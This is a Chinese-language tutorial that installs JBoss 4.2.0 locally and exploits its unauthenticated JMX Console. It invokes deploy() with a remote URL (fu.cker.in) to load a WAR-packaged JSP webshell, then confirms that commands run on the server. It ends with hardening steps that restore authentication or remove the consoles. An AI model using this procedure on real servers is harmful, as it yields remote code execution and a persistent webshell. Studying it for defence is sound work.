首先安装jre
http://jdk8.java.net/ http://jdk7.java.net/ http://jdk6.java.net/ 去随便下个jre
安装jre-7u11-windows-i586.exe略过、设置环境变量略过。
下载Jboss
http://sourceforge.net/projects/jboss/files/
jboss-4.2.0.GA.zip
解压到D:\jboss-4.2.0.GA
运行run.bat
提示找不到
C:\Program Files\Java\jre7\bin\server\jvm.dll
发现C:\Program Files\Java\jre7\bin\client\下有个jvm.dll 复制一份C:\Program Files\Java\jre7\bin\server\jvm.dll
再运行D:\jboss-4.2.0.GA\run.bat
Ok。。
浏览器打开默认端口8080
搭建成功。
我们部署一个war木马看看吧
进入JMX Console,默认是没有验证帐户密码的
http://127.0.0.1:8080/jmx-console/ 好的 进来了
进去后找到 void deploy()栏,在ParamValue项里填入远程URL地址,war打包的jsp木马地址是http://fu.cker.in/webshell/test3693.war
然后Invoke
操作完成成功!
这时看到本地文件的D:\jboss-4.2.0.GA\server\default\work\jboss.web\localhost\里多了一个test3693的文件夹,我们浏览器访问下http://127.0.0.1:8080/test3693/
执行命令成功!
对于Jboss的这种默认配置造成的漏洞该如何防范呢?
1、 使用比较新的Jboss软件版本
2、 在 ${jboss.server.home.dir}/deploy下面找到jmx-console.war目录编辑WEB-INF/web.xml文件 去掉 security-constraint 块的注释,使其起作用,编辑WEB-INF/jboss-web.xml文件,去掉security-domain的注释,security-domain值的映射文件为 login-config.xml (该文件定义了登录授权方式),然后到${jboss.server.home.dir}/server/default/conf/props下编辑jmx-console-users.properties文件,设置复杂的访问用户密码。也可以删除 $JBOSS_HOME/[server]/all/deploy 和$JBOSS_HOME/[server]/default/deploy下的Jmx-console.war 、Web-console.war这两个.War文件来禁止对Jmx-console和Web-console的访问